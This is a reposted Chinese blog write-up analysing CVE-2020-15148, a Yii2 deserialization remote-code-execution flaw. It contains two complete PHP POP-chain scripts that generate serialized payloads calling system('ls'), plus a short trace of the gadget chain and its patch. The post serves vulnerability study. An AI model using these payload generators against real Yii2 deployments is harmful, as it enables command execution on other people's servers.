首页 > 电脑常识 > 运维

电脑常识[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行

admin 运维 2021-05-25 09:24:58
后台-系统设置-扩展变量-手机广告位-内容正文底部

文章目录

  • 写在前面
  • POP链1
  • POP链2
  • 分析

写在前面

最近倒是不知道干些啥,有点迷茫的状态,不过每天都保持学习就好了,今天空下来了准备写一篇刚学的POP链分析

POP链1

<?php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
    private $_dataReader;
    public function __construct()
    {
        $this->_dataReader=new \Faker\Generator();
    }
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{

    public $checkAccess='system';
    public $id='ls';
}
class IndexAction extends Action{
}
namespace Faker;
class Generator{
    protected $formatters = array();
    public function __construct()
    {
        $this->formatters['close']=[(new \yii\rest\IndexAction()),"run"];
    }
}
use \yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));

POP链2

差不多的换了个地方罢了

<?php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
    private $_dataReader;
    public function __construct()
    {
        $this->_dataReader=new \Faker\Generator();
    }
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{

    public $checkAccess='system';
    public $id='ls';
}
class CreateAction extends Action{
}
namespace Faker;
class Generator{
    protected $formatters = array();
    public function __construct()
    {
        $this->formatters['close']=[(new \yii\rest\CreateAction()),"run"];
    }
}
use \yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));

分析

我们看提交记录里面有说道
在这里插入图片描述
是这一条https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99?branch=9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99&diff=split
在这里插入图片描述
这也就是说最新版里已经通过__wakeup来禁用了BatchQueryResult类的反序列化
在这里插入图片描述
这也就是我们的入口点,我们开始分析,调用了$this->reset();
在这里插入图片描述
通过赋值我们可以实现,调用__call方法
在这里插入图片描述
这里发现有很多
在这里插入图片描述
这里我们锁定src/Faker/Generator.php
在这里插入图片描述
我们得注意根据close方法调用,·$attributes值为空,跟踪
在这里插入图片描述
看看getFormatter函数
在这里插入图片描述
个人认为构造也很容易,如下

$this->formatters['close']=["xxxxx"];

注意$arguments为空,是从yii\db\BatchQueryResult::reset()里传过来的,参数不可控,所以我们只能去寻找不带参数地去调用别的类中的方法。全局搜索call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

发现这里有两个符合条件的yii\rest\CreateAction::run()yii\rest\IndexAction::run(),其实这两个利用方法一模一样
在这里插入图片描述
看了下其他类也没法利用,我们以CreateAction为例,能看到这里直接是无过滤的,接下来干嘛不解释了
在这里插入图片描述
分析完毕

文章来源:https://blog.csdn.net/solitudi/article/details/117190335

后台-系统设置-扩展变量-手机广告位-内容正文底部
版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。
本文地址:https://www.jcdi.cn/fwq1/30731.html

留言与评论(共有 0 条评论)
   
验证码:
后台-系统设置-扩展变量-手机广告位-评论底部广告位

教程弟

https://www.jcdi.cn/

统计代码 | 京ICP1234567-2号

Powered By 教程弟 教程弟

使用手机软件扫描微信二维码